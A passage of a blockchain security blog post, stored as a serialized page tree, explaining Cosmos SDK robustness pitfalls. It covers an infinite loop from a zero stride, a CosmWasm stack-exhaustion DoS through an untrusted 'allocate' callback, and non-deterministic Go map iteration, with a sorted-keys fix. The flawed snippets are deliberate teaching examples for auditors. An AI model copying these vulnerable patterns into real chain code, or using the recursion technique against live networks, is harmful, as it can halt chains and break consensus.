end",{"type":23,"tag":314,"props":75780,"children":75781},{"style":338},[75782],{"type":28,"value":16466},{"type":23,"tag":314,"props":75784,"children":75785},{"style":360},[75786],{"type":28,"value":2000},{"type":23,"tag":314,"props":75788,"children":75789},{"style":354},[75790],{"type":28,"value":14307},{"type":23,"tag":314,"props":75792,"children":75793},{"style":360},[75794],{"type":28,"value":75752},{"type":23,"tag":314,"props":75796,"children":75797},{"style":338},[75798],{"type":28,"value":282},{"type":23,"tag":314,"props":75800,"children":75801},{"style":360},[75802],{"type":28,"value":75803},"Stride",{"type":23,"tag":314,"props":75805,"children":75806},{"style":338},[75807],{"type":28,"value":1449},{"type":23,"tag":314,"props":75809,"children":75810},{"class":316,"line":1548},[75811,75816,75820,75824,75828,75832,75836,75840],{"type":23,"tag":314,"props":75812,"children":75813},{"style":360},[75814],{"type":28,"value":75815}," sum",{"type":23,"tag":314,"props":75817,"children":75818},{"style":354},[75819],{"type":28,"value":14307},{"type":23,"tag":314,"props":75821,"children":75822},{"style":360},[75823],{"type":28,"value":75752},{"type":23,"tag":314,"props":75825,"children":75826},{"style":338},[75827],{"type":28,"value":282},{"type":23,"tag":314,"props":75829,"children":75830},{"style":360},[75831],{"type":28,"value":75727},{"type":23,"tag":314,"props":75833,"children":75834},{"style":338},[75835],{"type":28,"value":1312},{"type":23,"tag":314,"props":75837,"children":75838},{"style":360},[75839],{"type":28,"value":2000},{"type":23,"tag":314,"props":75841,"children":75842},{"style":338},[75843],{"type":28,"value":11020},{"type":23,"tag":314,"props":75845,"children":75846},{"class":316,"line":1584},[75847],{"type":23,"tag":314,"props":75848,"children":75849},{"style":338},[75850],{"type":28,"value":2610},{"type":23,"tag":314,"props":75852,"children":75853},{"class":316,"line":1617},[75854,75858,75862,75866,75871,75876,75880,75885,75890],{"type":23,"tag":314,"props":75855,"children":75856},{"style":2284},[75857],{"type":28,"value":16228},{"type":23,"tag":314,"props":75859,"children":75860},{"style":354},[75861],{"type":28,"value":1968},{"type":23,"tag":314,"props":75863,"children":75864},{"style":2674},[75865],{"type":28,"value":75644},{"type":23,"tag":314,"props":75867,"children":75868},{"style":338},[75869],{"type":28,"value":75870},"{",{"type":23,"tag":314,"props":75872,"children":75873},{"style":360},[75874],{"type":28,"value":75875},"Sum",{"type":23,"tag":314,"props":75877,"children":75878},{"style":338},[75879],{"type":28,"value":14573},{"type":23,"tag":314,"props":75881,"children":75882},{"style":360},[75883],{"type":28,"value":75884},"sum",{"type":23,"tag":314,"props":75886,"children":75887},{"style":338},[75888],{"type":28,"value":75889},"}, ",{"type":23,"tag":314,"props":75891,"children":75892},{"style":321},[75893],{"type":28,"value":75894},"nil\n",{"type":23,"tag":314,"props":75896,"children":75897},{"class":316,"line":1625},[75898],{"type":23,"tag":314,"props":75899,"children":75900},{"style":338},[75901],{"type":28,"value":386},{"type":23,"tag":24,"props":75903,"children":75904},{},[75905,75907,75912,75913,75919],{"type":28,"value":75906},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":94,"props":75908,"children":75910},{"className":75909},[],[75911],{"type":28,"value":2000},{"type":28,"value":6569},{"type":23,"tag":94,"props":75914,"children":75916},{"className":75915},[],[75917],{"type":28,"value":75918},"stride",{"type":28,"value":75920},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":24,"props":75922,"children":75923},{},[75924],{"type":28,"value":75925},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":75927,"children":75928},{},[75929],{"type":28,"value":75930},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":75932,"children":75933},{},[75934],{"type":28,"value":75935},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":837,"props":75937,"children":75939},{"id":75938},"real-world-examples",[75940],{"type":28,"value":75941},"Real-World Examples",{"type":23,"tag":24,"props":75943,"children":75944},{},[75945],{"type":28,"value":75946},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":75948,"children":75949},{},[75950,75952,75958,75959,75965,75967,75973,75975,75981],{"type":28,"value":75951},"In the case of ",{"type":23,"tag":31,"props":75953,"children":75956},{"href":75954,"rel":75955},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[35],[75957],{"type":28,"value":16932},{"type":28,"value":5713},{"type":23,"tag":94,"props":75960,"children":75962},{"className":75961},[],[75963],{"type":28,"value":75964},"CosmWasm",{"type":28,"value":75966}," bug, the helper method ",{"type":23,"tag":94,"props":75968,"children":75970},{"className":75969},[],[75971],{"type":28,"value":75972},"write_to_contract",{"type":28,"value":75974}," negligently calls the untrusted Wasm function ",{"type":23,"tag":94,"props":75976,"children":75978},{"className":75977},[],[75979],{"type":28,"value":75980},"\"allocate\"",{"type":28,"value":282},{"type":23,"tag":24,"props":75983,"children":75984},{},[75985],{"type":23,"tag":31,"props":75986,"children":75989},{"href":75987,"rel":75988},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[35],[75990],{"type":28,"value":75991},"Permalink for snippet",{"type":23,"tag":304,"props":75993,"children":75995},{"code":75994,"language":2233,"meta":7,"className":2234,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n env: &Environment\u003CA, S, Q>,\n input: &[u8],\n) -> VmResult\u003Cu32> {\n let out_size = to_u32(input.len())?;\n let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n let target_ptr = ref_to_u32(&result)?;\n if target_ptr == 0 {\n return Err(CommunicationError::zero_address().into());\n }\n write_region(&env.memory(), target_ptr, input)?;\n Ok(target_ptr)\n}\n",[75996],{"type":23,"tag":94,"props":75997,"children":75998},{"__ignoreMap":7},[75999,76068,76116,76144,76173,76222,76296,76341,76364,76409,76416,76473,76492],{"type":23,"tag":314,"props":76000,"children":76001},{"class":316,"line":317},[76002,76006,76011,76015,76020,76024,76029,76033,76037,76041,76046,76050,76055,76059,76064],{"type":23,"tag":314,"props":76003,"children":76004},{"style":321},[76005],{"type":28,"value":19504},{"type":23,"tag":314,"props":76007,"children":76008},{"style":332},[76009],{"type":28,"value":76010}," write_to_contract",{"type":23,"tag":314,"props":76012,"children":76013},{"style":338},[76014],{"type":28,"value":5060},{"type":23,"tag":314,"props":76016,"children":76017},{"style":2674},[76018],{"type":28,"value":76019},"A",{"type":23,"tag":314,"props":76021,"children":76022},{"style":354},[76023],{"type":28,"value":3746},{"type":23,"tag":314,"props":76025,"children":76026},{"style":2674},[76027],{"type":28,"value":76028}," BackendApi",{"type":23,"tag":314,"props":76030,"children":76031},{"style":338},[76032],{"type":28,"value":778},{"type":23,"tag":314,"props":76034,"children":76035},{"style":2674},[76036],{"type":28,"value":21287},{"type":23,"tag":314,"props":76038,"children":76039},{"style":354},[76040],{"type":28,"value":3746},{"type":23,"tag":314,"props":76042,"children":76043},{"style":2674},[76044],{"type":28,"value":76045}," Storage",{"type":23,"tag":314,"props":76047,"children":76048},{"style":338},[76049],{"type":28,"value":778},{"type":23,"tag":314,"props":76051,"children":76052},{"style":2674},[76053],{"type":28,"value":76054},"Q",{"type":23,"tag":314,"props":76056,"children":76057},{"style":354},[76058],{"type":28,"value":3746},{"type":23,"tag":314,"props":76060,"children":76061},{"style":2674},[76062],{"type":28,"value":76063}," Querier",{"type":23,"tag":314,"props":76065,"children":76066},{"style":338},[76067],{"type":28,"value":5844},{"type":23,"tag":314,"props":76069,"children":76070},{"class":316,"line":370},[76071,76075,76079,76083,76088,76092,76096,76100,76104,76108,76112],{"type":23,"tag":314,"props":76072,"children":76073},{"style":360},[76074],{"type":28,"value":3095},{"type":23,"tag":314,"props":76076,"children":76077},{"style":354},[76078],{"type":28,"value":3746},{"type":23,"tag":314,"props":76080,"children":76081},{"style":354},[76082],{"type":28,"value":1968},{"type":23,"tag":314,"props":76084,"children":76085},{"style":2674},[76086],{"type":28,"value":76087},"Environment",{"type":23,"tag":314,"props":76089,"children":76090},{"style":338},[76091],{"type":28,"value":5060},{"type":23,"tag":314,"props":76093,"children":76094},{"style":2674},[76095],{"type":28,"value":76019},{"type":23,"tag":314,"props":76097,"children":76098},{"style":338},[76099],{"type":28,"value":778},{"type":23,"tag":314,"props":76101,"children":76102},{"style":2674},[76103],{"type":28,"value":21287},{"type":23,"tag":314,"props":76105,"children":76106},{"style":338},[76107],{"type":28,"value":778},{"type":23,"tag":314,"props":76109,"children":76110},{"style":2674},[76111],{"type":28,"value":76054},{"type":23,"tag":314,"props":76113,"children":76114},{"style":338},[76115],{"type":28,"value":5393},{"type":23,"tag":314,"props":76117,"children":76118},{"class":316,"line":380},[76119,76124,76128,76132,76136,76140],{"type":23,"tag":314,"props":76120,"children":76121},{"style":360},[76122],{"type":28,"value":76123}," input",{"type":23,"tag":314,"props":76125,"children":76126},{"style":354},[76127],{"type":28,"value":3746},{"type":23,"tag":314,"props":76129,"children":76130},{"style":354},[76131],{"type":28,"value":1968},{"type":23,"tag":314,"props":76133,"children":76134},{"style":338},[76135],{"type":28,"value":1312},{"type":23,"tag":314,"props":76137,"children":76138},{"style":2674},[76139],{"type":28,"value":2677},{"type":23,"tag":314,"props":76141,"children":76142},{"style":338},[76143],{"type":28,"value":13510},{"type":23,"tag":314,"props":76145,"children":76146},{"class":316,"line":1091},[76147,76151,76155,76160,76164,76169],{"type":23,"tag":314,"props":76148,"children":76149},{"style":338},[76150],{"type":28,"value":2343},{"type":23,"tag":314,"props":76152,"children":76153},{"style":354},[76154],{"type":28,"value":1015},{"type":23,"tag":314,"props":76156,"children":76157},{"style":2674},[76158],{"type":28,"value":76159}," VmResult",{"type":23,"tag":314,"props":76161,"children":76162},{"style":338},[76163],{"type":28,"value":5060},{"type":23,"tag":314,"props":76165,"children":76166},{"style":2674},[76167],{"type":28,"value":76168},"u32",{"type":23,"tag":314,"props":76170,"children":76171},{"style":338},[76172],{"type":28,"value":6536},{"type":23,"tag":314,"props":76174,"children":76175},{"class":316,"line":1141},[76176,76180,76185,76189,76194,76198,76202,76206,76210,76214,76218],{"type":23,"tag":314,"props":76177,"children":76178},{"style":321},[76179],{"type":28,"value":2254},{"type":23,"tag":314,"props":76181,"children":76182},{"style":360},[76183],{"type":28,"value":76184}," out_size",{"type":23,"tag":314,"props":76186,"children":76187},{"style":354},[76188],{"type":28,"value":1237},{"type":23,"tag":314,"props":76190,"children":76191},{"style":332},[76192],{"type":28,"value":76193}," to_u32",{"type":23,"tag":314,"props":76195,"children":76196},{"style":338},[76197],{"type":28,"value":341},{"type":23,"tag":314,"props":76199,"children":76200},{"style":360},[76201],{"type":28,"value":99},{"type":23,"tag":314,"props":76203,"children":76204},{"style":354},[76205],{"type":28,"value":282},{"type":23,"tag":314,"props":76207,"children":76208},{"style":332},[76209],{"type":28,"value":8389},{"type":23,"tag":314,"props":76211,"children":76212},{"style":338},[76213],{"type":28,"value":41213},{"type":23,"tag":314,"props":76215,"children":76216},{"style":354},[76217],{"type":28,"value":2409},{"type":23,"tag":314,"props":76219,"children":76220},{"style":338},[76221],{"type":28,"value":2278},{"type":23,"tag":314,"props":76223,"children":76224},{"class":316,"line":1173},[76225,76229,76233,76237,76241,76245,76250,76254,76258,76262,76266,76270,76275,76279,76283,76288,76292],{"type":23,"tag":314,"props":76226,"children":76227},{"style":321},[76228],{"type":28,"value":2254},{"type":23,"tag":314,"props":76230,"children":76231},{"style":360},[76232],{"type":28,"value":8410},{"type":23,"tag":314,"props":76234,"children":76235},{"style":354},[76236],{"type":28,"value":1237},{"type":23,"tag":314,"props":76238,"children":76239},{"style":360},[76240],{"type":28,"value":42207},{"type":23,"tag":314,"props":76242,"children":76243},{"style":354},[76244],{"type":28,"value":282},{"type":23,"tag":314,"props":76246,"children":76247},{"style":332},[76248],{"type":28,"value":76249},"call_function1",{"type":23,"tag":314,"props":76251,"children":76252},{"style":338},[76253],{"type":28,"value":341},{"type":23,"tag":314,"props":76255,"children":76256},{"style":1245},[76257],{"type":28,"value":75980},{"type":23,"tag":314,"props":76259,"children":76260},{"style":338},[76261],{"type":28,"value":778},{"type":23,"tag":314,"props":76263,"children":76264},{"style":354},[76265],{"type":28,"value":1833},{"type":23,"tag":314,"props":76267,"children":76268},{"style":338},[76269],{"type":28,"value":1312},{"type":23,"tag":314,"props":76271,"children":76272},{"style":360},[76273],{"type":28,"value":76274},"out_size",{"type":23,"tag":314,"props":76276,"children":76277},{"style":354},[76278],{"type":28,"value":282},{"type":23,"tag":314,"props":76280,"children":76281},{"style":332},[76282],{"type":28,"value":14128},{"type":23,"tag":314,"props":76284,"children":76285},{"style":338},[76286],{"type":28,"value":76287},"()])",{"type":23,"tag":314,"props":76289,"children":76290},{"style":354},[76291],{"type":28,"value":2409},{"type":23,"tag":314,"props":76293,"children":76294},{"style":338},[76295],{"type":28,"value":2278},{"type":23,"tag":314,"props":76297,"children":76298},{"class":316,"line":1208},[76299,76303,76308,76312,76317,76321,76325,76329,76333,76337],{"type":23,"tag":314,"props":76300,"children":76301},{"style":321},[76302],{"type":28,"value":2254},{"type":23,"tag":314,"props":76304,"children":76305},{"style":360},[76306],{"type":28,"value":76307}," target_ptr",{"type":23,"tag":314,"props":76309,"children":76310},{"style":354},[76311],{"type":28,"value":1237},{"type":23,"tag":314,"props":76313,"children":76314},{"style":332},[76315],{"type":28,"value":76316}," ref_to_u32",{"type":23,"tag":314,"props":76318,"children":76319},{"style":338},[76320],{"type":28,"value":341},{"type":23,"tag":314,"props":76322,"children":76323},{"style":354},[76324],{"type":28,"value":1833},{"type":23,"tag":314,"props":76326,"children":76327},{"style":360},[76328],{"type":28,"value":8333},{"type":23,"tag":314,"props":76330,"children":76331},{"style":338},[76332],{"type":28,"value":431},{"type":23,"tag":314,"props":76334,"children":76335},{"style":354},[76336],{"type":28,"value":2409},{"type":23,"tag":314,"props":76338,"children":76339},{"style":338},[76340],{"type":28,"value":2278},{"type":23,"tag":314,"props":76342,"children":76343},{"class":316,"line":1216},[76344,76348,76352,76356,76360],{"type":23,"tag":314,"props":76345,"children":76346},{"style":2284},[76347],{"type":28,"value":11527},{"type":23,"tag":314,"props":76349,"children":76350},{"style":360},[76351],{"type":28,"value":76307},{"type":23,"tag":314,"props":76353,"children":76354},{"style":354},[76355],{"type":28,"value":2537},{"type":23,"tag":314,"props":76357,"children":76358},{"style":1054},[76359],{"type":28,"value":1201},{"type":23,"tag":314,"props":76361,"children":76362},{"style":338},[76363],{"type":28,"value":1449},{"type":23,"tag":314,"props":76365,"children":76366},{"class":316,"line":1301},[76367,76371,76375,76379,76384,76388,76393,76397,76401,76405],{"type":23,"tag":314,"props":76368,"children":76369},{"style":2284},[76370],{"type":28,"value":14985},{"type":23,"tag":314,"props":76372,"children":76373},{"style":2674},[76374],{"type":28,"value":14990},{"type":23,"tag":314,"props":76376,"children":76377},{"style":338},[76378],{"type":28,"value":341},{"type":23,"tag":314,"props":76380,"children":76381},{"style":2674},[76382],{"type":28,"value":76383},"CommunicationError",{"type":23,"tag":314,"props":76385,"children":76386},{"style":354},[76387],{"type":28,"value":2737},{"type":23,"tag":314,"props":76389,"children":76390},{"style":332},[76391],{"type":28,"value":76392},"zero_address",{"type":23,"tag":314,"props":76394,"children":76395},{"style":338},[76396],{"type":28,"value":13126},{"type":23,"tag":314,"props":76398,"children":76399},{"style":354},[76400],{"type":28,"value":282},{"type":23,"tag":314,"props":76402,"children":76403},{"style":332},[76404],{"type":28,"value":14128},{"type":23,"tag":314,"props":76406,"children":76407},{"style":338},[76408],{"type":28,"value":14667},{"type":23,"tag":314,"props":76410,"children":76411},{"class":316,"line":1343},[76412],{"type":23,"tag":314,"props":76413,"children":76414},{"style":338},[76415],{"type":28,"value":2610},{"type":23,"tag":314,"props":76417,"children":76418},{"class":316,"line":1351},[76419,76424,76428,76432,76436,76440,76444,76448,76453,76457,76461,76465,76469],{"type":23,"tag":314,"props":76420,"children":76421},{"style":332},[76422],{"type":28,"value":76423}," write_region",{"type":23,"tag":314,"props":76425,"children":76426},{"style":338},[76427],{"type":28,"value":341},{"type":23,"tag":314,"props":76429,"children":76430},{"style":354},[76431],{"type":28,"value":1833},{"type":23,"tag":314,"props":76433,"children":76434},{"style":360},[76435],{"type":28,"value":34939},{"type":23,"tag":314,"props":76437,"children":76438},{"style":354},[76439],{"type":28,"value":282},{"type":23,"tag":314,"props":76441,"children":76442},{"style":332},[76443],{"type":28,"value":75225},{"type":23,"tag":314,"props":76445,"children":76446},{"style":338},[76447],{"type":28,"value":17613},{"type":23,"tag":314,"props":76449,"children":76450},{"style":360},[76451],{"type":28,"value":76452},"target_ptr",{"type":23,"tag":314,"props":76454,"children":76455},{"style":338},[76456],{"type":28,"value":778},{"type":23,"tag":314,"props":76458,"children":76459},{"style":360},[76460],{"type":28,"value":99},{"type":23,"tag":314,"props":76462,"children":76463},{"style":338},[76464],{"type":28,"value":431},{"type":23,"tag":314,"props":76466,"children":76467},{"style":354},[76468],{"type":28,"value":2409},{"type":23,"tag":314,"props":76470,"children":76471},{"style":338},[76472],{"type":28,"value":2278},{"type":23,"tag":314,"props":76474,"children":76475},{"class":316,"line":1387},[76476,76480,76484,76488],{"type":23,"tag":314,"props":76477,"children":76478},{"style":2674},[76479],{"type":28,"value":13580},{"type":23,"tag":314,"props":76481,"children":76482},{"style":338},[76483],{"type":28,"value":341},{"type":23,"tag":314,"props":76485,"children":76486},{"style":360},[76487],{"type":28,"value":76452},{"type":23,"tag":314,"props":76489,"children":76490},{"style":338},[76491],{"type":28,"value":2414},{"type":23,"tag":314,"props":76493,"children":76494},{"class":316,"line":1422},[76495],{"type":23,"tag":314,"props":76496,"children":76497},{"style":338},[76498],{"type":28,"value":386},{"type":23,"tag":24,"props":76500,"children":76501},{},[76502,76504,76510,76512,76517],{"type":28,"value":76503},"As users have complete control over ",{"type":23,"tag":94,"props":76505,"children":76507},{"className":76506},[],[76508],{"type":28,"value":76509},"allocate",{"type":28,"value":76511},", there is a possibility to call back ",{"type":23,"tag":94,"props":76513,"children":76515},{"className":76514},[],[76516],{"type":28,"value":75972},{"type":28,"value":76518}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":24,"props":76520,"children":76521},{},[76522,76524,76531],{"type":28,"value":76523},"Additional real-world examples include ",{"type":23,"tag":31,"props":76525,"children":76528},{"href":76526,"rel":76527},"https://github.com/cosmos/cosmos-sdk/issues/16676",[35],[76529],{"type":28,"value":76530},"not returning proper values for malformed txs",{"type":28,"value":282},{"type":23,"tag":61,"props":76533,"children":76535},{"id":76534},"order-was-the-dream-of-man",[76536],{"type":28,"value":76537},"Order Was the Dream of Man",{"type":23,"tag":24,"props":76539,"children":76540},{},[76541],{"type":28,"value":76542},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":24,"props":76544,"children":76545},{},[76546],{"type":28,"value":76547},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":304,"props":76549,"children":76551},{"code":76550,"language":75417,"meta":7,"className":75418,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[76552],{"type":23,"tag":94,"props":76553,"children":76554},{"__ignoreMap":7},[76555,76588,76595,76624,76661,76690,76711,76723,76760,76768,76775,76782],{"type":23,"tag":314,"props":76556,"children":76557},{"class":316,"line":317},[76558,76562,76567,76571,76575,76579,76583],{"type":23,"tag":314,"props":76559,"children":76560},{"style":321},[76561],{"type":28,"value":32004},{"type":23,"tag":314,"props":76563,"children":76564},{"style":2674},[76565],{"type":28,"value":76566}," ObjectMap",{"type":23,"tag":314,"props":76568,"children":76569},{"style":321},[76570],{"type":28,"value":48919},{"type":23,"tag":314,"props":76572,"children":76573},{"style":338},[76574],{"type":28,"value":1312},{"type":23,"tag":314,"props":76576,"children":76577},{"style":2674},[76578],{"type":28,"value":28915},{"type":23,"tag":314,"props":76580,"children":76581},{"style":338},[76582],{"type":28,"value":14653},{"type":23,"tag":314,"props":76584,"children":76585},{"style":2674},[76586],{"type":28,"value":76587},"string\n",{"type":23,"tag":314,"props":76589,"children":76590},{"class":316,"line":370},[76591],{"type":23,"tag":314,"props":76592,"children":76593},{"emptyLinePlaceholder":18},[76594],{"type":28,"value":1088},{"type":23,"tag":314,"props":76596,"children":76597},{"class":316,"line":380},[76598,76602,76607,76611,76616,76620],{"type":23,"tag":314,"props":76599,"children":76600},{"style":321},[76601],{"type":28,"value":75553},{"type":23,"tag":314,"props":76603,"children":76604},{"style":332},[76605],{"type":28,"value":76606}," EmitEntries",{"type":23,"tag":314,"props":76608,"children":76609},{"style":338},[76610],{"type":28,"value":341},{"type":23,"tag":314,"props":76612,"children":76613},{"style":360},[76614],{"type":28,"value":76615},"objectMap",{"type":23,"tag":314,"props":76617,"children":76618},{"style":2674},[76619],{"type":28,"value":76566},{"type":23,"tag":314,"props":76621,"children":76622},{"style":338},[76623],{"type":28,"value":367},{"type":23,"tag":314,"props":76625,"children":76626},{"class":316,"line":1091},[76627,76631,76635,76639,76643,76647,76652,76657],{"type":23,"tag":314,"props":76628,"children":76629},{"style":2284},[76630],{"type":28,"value":2287},{"type":23,"tag":314,"props":76632,"children":76633},{"style":360},[76634],{"type":28,"value":5186},{"type":23,"tag":314,"props":76636,"children":76637},{"style":338},[76638],{"type":28,"value":778},{"type":23,"tag":314,"props":76640,"children":76641},{"style":360},[76642],{"type":28,"value":38399},{"type":23,"tag":314,"props":76644,"children":76645},{"style":354},[76646],{"type":28,"value":75669},{"type":23,"tag":314,"props":76648,"children":76649},{"style":2284},[76650],{"type":28,"value":76651}," range",{"type":23,"tag":314,"props":76653,"children":76654},{"style":360},[76655],{"type":28,"value":76656}," objectMap",{"type":23,"tag":314,"props":76658,"children":76659},{"style":338},[76660],{"type":28,"value":1449},{"type":23,"tag":314,"props":76662,"children":76663},{"class":316,"line":1141},[76664,76668,76672,76677,76681,76686],{"type":23,"tag":314,"props":76665,"children":76666},{"style":360},[76667],{"type":28,"value":25432},{"type":23,"tag":314,"props":76669,"children":76670},{"style":338},[76671],{"type":28,"value":282},{"type":23,"tag":314,"props":76673,"children":76674},{"style":360},[76675],{"type":28,"value":76676},"EventManager",{"type":23,"tag":314,"props":76678,"children":76679},{"style":338},[76680],{"type":28,"value":282},{"type":23,"tag":314,"props":76682,"children":76683},{"style":332},[76684],{"type":28,"value":76685},"EmitEvent",{"type":23,"tag":314,"props":76687,"children":76688},{"style":338},[76689],{"type":28,"value":2719},{"type":23,"tag":314,"props":76691,"children":76692},{"class":316,"line":1173},[76693,76698,76702,76707],{"type":23,"tag":314,"props":76694,"children":76695},{"style":360},[76696],{"type":28,"value":76697}," sdk",{"type":23,"tag":314,"props":76699,"children":76700},{"style":338},[76701],{"type":28,"value":282},{"type":23,"tag":314,"props":76703,"children":76704},{"style":332},[76705],{"type":28,"value":76706},"NewEvent",{"type":23,"tag":314,"props":76708,"children":76709},{"style":338},[76710],{"type":28,"value":2719},{"type":23,"tag":314,"props":76712,"children":76713},{"class":316,"line":1208},[76714,76719],{"type":23,"tag":314,"props":76715,"children":76716},{"style":1245},[76717],{"type":28,"value":76718}," \"MapContext\"",{"type":23,"tag":314,"props":76720,"children":76721},{"style":338},[76722],{"type":28,"value":1870},{"type":23,"tag":314,"props":76724,"children":76725},{"class":316,"line":1216},[76726,76731,76735,76740,76744,76748,76752,76756],{"type":23,"tag":314,"props":76727,"children":76728},{"style":360},[76729],{"type":28,"value":76730}," sdk",{"type":23,"tag":314,"props":76732,"children":76733},{"style":338},[76734],{"type":28,"value":282},{"type":23,"tag":314,"props":76736,"children":76737},{"style":332},[76738],{"type":28,"value":76739},"NewAttribute",{"type":23,"tag":314,"props":76741,"children":76742},{"style":338},[76743],{"type":28,"value":341},{"type":23,"tag":314,"props":76745,"children":76746},{"style":360},[76747],{"type":28,"value":1472},{"type":23,"tag":314,"props":76749,"children":76750},{"style":338},[76751],{"type":28,"value":778},{"type":23,"tag":314,"props":76753,"children":76754},{"style":360},[76755],{"type":28,"value":38399},{"type":23,"tag":314,"props":76757,"children":76758},{"style":338},[76759],{"type":28,"value":5992},{"type":23,"tag":314,"props":76761,"children":76762},{"class":316,"line":1301},[76763],{"type":23,"tag":314,"props":76764,"children":76765},{"style":338},[76766],{"type":28,"value":76767}," )\n",{"type":23,"tag":314,"props":76769,"children":76770},{"class":316,"line":1343},[76771],{"type":23,"tag":314,"props":76772,"children":76773},{"style":338},[76774],{"type":28,"value":67574},{"type":23,"tag":314,"props":76776,"children":76777},{"class":316,"line":1351},[76778],{"type":23,"tag":314,"props":76779,"children":76780},{"style":338},[76781],{"type":28,"value":2610},{"type":23,"tag":314,"props":76783,"children":76784},{"class":316,"line":1387},[76785],{"type":23,"tag":314,"props":76786,"children":76787},{"style":338},[76788],{"type":28,"value":386},{"type":23,"tag":24,"props":76790,"children":76791},{},[76792],{"type":28,"value":76793},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":2186,"props":76795,"children":76796},{},[76797],{"type":23,"tag":24,"props":76798,"children":76799},{},[76800],{"type":28,"value":76801},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":24,"props":76803,"children":76804},{},[76805,76807,76812],{"type":28,"value":76806},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":94,"props":76808,"children":76810},{"className":76809},[],[76811],{"type":28,"value":66355},{"type":28,"value":76813}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":304,"props":76815,"children":76817},{"code":76816,"language":75417,"meta":7,"className":75418,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[76818],{"type":23,"tag":94,"props":76819,"children":76820},{"__ignoreMap":7},[76821,76852,76859,76886,76906,76933,76969,76976,77005,77012,77047,77074,77093,77104,77148,77155,77162,77169],{"type":23,"tag":314,"props":76822,"children":76823},{"class":316,"line":317},[76824,76828,76832,76836,76840,76844,76848],{"type":23,"tag":314,"props":76825,"children":76826},{"style":321},[76827],{"type":28,"value":32004},{"type":23,"tag":314,"props":76829,"children":76830},{"style":2674},[76831],{"type":28,"value":76566},{"type":23,"tag":314,"props":76833,"children":76834},{"style":321},[76835],{"type":28,"value":48919},{"type":23,"tag":314,"props":76837,"children":76838},{"style":338},[76839],{"type":28,"value":1312},{"type":23,"tag":314,"props":76841,"children":76842},{"style":2674},[76843],{"type":28,"value":28915},{"type":23,"tag":314,"props":76845,"children":76846},{"style":338},[76847],{"type":28,"value":14653},{"type":23,"tag":314,"props":76849,"children":76850},{"style":2674},[76851],{"type":28,"value":76587},{"type":23,"tag":314,"props":76853,"children":76854},{"class":316,"line":370},[76855],{"type":23,"tag":314,"props":76856,"children":76857},{"emptyLinePlaceholder":18},[76858],{"type":28,"value":1088},{"type":23,"tag":314,"props":76860,"children":76861},{"class":316,"line":380},[76862,76866,76870,76874,76878,76882],{"type":23,"tag":314,"props":76863,"children":76864},{"style":321},[76865],{"type":28,"value":75553},{"type":23,"tag":314,"props":76867,"children":76868},{"style":332},[76869],{"type":28,"value":76606},{"type":23,"tag":314,"props":76871,"children":76872},{"style":338},[76873],{"type":28,"value":341},{"type":23,"tag":314,"props":76875,"children":76876},{"style":360},[76877],{"type":28,"value":76615},{"type":23,"tag":314,"props":76879,"children":76880},{"style":2674},[76881],{"type":28,"value":76566},{"type":23,"tag":314,"props":76883,"children":76884},{"style":338},[76885],{"type":28,"value":367},{"type":23,"tag":314,"props":76887,"children":76888},{"class":316,"line":1091},[76889,76894,76898,76902],{"type":23,"tag":314,"props":76890,"children":76891},{"style":321},[76892],{"type":28,"value":76893}," var",{"type":23,"tag":314,"props":76895,"children":76896},{"style":360},[76897],{"type":28,"value":20617},{"type":23,"tag":314,"props":76899,"children":76900},{"style":338},[76901],{"type":28,"value":75480},{"type":23,"tag":314,"props":76903,"children":76904},{"style":2674},[76905],{"type":28,"value":76587},{"type":23,"tag":314,"props":76907,"children":76908},{"class":316,"line":1141},[76909,76913,76917,76921,76925,76929],{"type":23,"tag":314,"props":76910,"children":76911},{"style":2284},[76912],{"type":28,"value":2287},{"type":23,"tag":314,"props":76914,"children":76915},{"style":360},[76916],{"type":28,"value":5186},{"type":23,"tag":314,"props":76918,"children":76919},{"style":354},[76920],{"type":28,"value":75669},{"type":23,"tag":314,"props":76922,"children":76923},{"style":2284},[76924],{"type":28,"value":76651},{"type":23,"tag":314,"props":76926,"children":76927},{"style":360},[76928],{"type":28,"value":76656},{"type":23,"tag":314,"props":76930,"children":76931},{"style":338},[76932],{"type":28,"value":1449},{"type":23,"tag":31